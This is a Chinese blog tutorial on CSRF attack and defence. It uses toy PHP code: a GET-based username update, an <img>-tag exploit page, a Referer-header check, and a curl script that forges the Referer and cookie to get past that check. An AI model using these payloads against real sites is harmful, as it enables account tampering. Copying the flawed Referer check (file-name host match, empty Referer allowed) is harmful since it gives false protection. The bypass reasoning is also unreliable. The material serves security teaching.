CSRF攻防

最新推荐文章于 2024-04-16 18:29:26 发布

weixin_33786077

最新推荐文章于 2024-04-16 18:29:26 发布

阅读量105

点赞数

CC 4.0 BY-SA版权

文章标签： php json

原文链接：http://www.cnblogs.com/AtesetEnginner/p/10966492.html

本文详细解析了CSRF（跨站请求伪造）攻击原理，展示了如何利用PHP代码实施攻击并更改用户信息，同时介绍了两种防御策略：通过检查Referer字段确保请求来源合法，以及使用CSRF token验证请求的有效性。

原理：

1 #csrfdemo.php
2 <?php
3     $data = json_decode(file_get_contents('data.json'), true);
4 
5     if($data['username']) { setcookie('uid', $data['id'], 0); echo "登录成功, {$data['username']}<br>"; } 
6　　?> 
7　 <a href = "Update.php?uid=101&username=json"> 更新用户名 </a>


#CSRFUpdate.php   //exp
<?php
	echo 'Change Username';
?>
<img src="../Update.php?uid=101&username=jsonp">

Update.php
<?php

	$str = file_get_contents('data.json');
	$data = json_decode($str, true);

	empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
	$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
	$data['username'] = $_GET['username'];
	if(file_put_contents('data.json', json_encode($data))) {
		echo "用户名已更改为{$data['username']}<br>";
	} else {
		die('更新失败');
	}

  ?>

#data.json
{"id":"101","username":"jsonp"}

防御：

方式一：Referer字段（同源）

 1 #Update.php
 2 <?php
 3     if(!empty($_SERVER['HTTP_REFERER'])) {
 4         if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != 'csrfdemo.php') {
 5             echo "非法请求";
 6             exit();
 7         }
 8     }
 9     $str = file_get_contents('data.json');
10     $data = json_decode($str, true);
11 
12     empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
13     $data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
14     $data['username'] = $_GET['username'];
15     if(file_put_contents('data.json', json_encode($data))) {
16         echo "用户名已更改为{$data['username']}<br>";
17     } else {
18         die('更新失败');
19     }
20 
21   ?>

绕过：

//curl构造Referer头
<?php
	function curl_post($url){
		$refer = 'csrfdemo.php';
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_REFERER, $refer);
		curl_setopt($ch, CURLOPT_COOKIE, 'uid=101');
		$output = curl_exec($ch);
		curl_close($ch);
		return $output;
	}
	// echo 'Change Username';
	var_dump(curl_post("../Update.php?uid=101&username=jsonp445"));
?>
<img src="../Update.php?uid=101&username=jsonp445">

方式二：通过csrf_token csrf_token 进行验证（session+token）

绕过：session劫持+token劫持

转载于:https://www.cnblogs.com/AtesetEnginner/p/10966492.html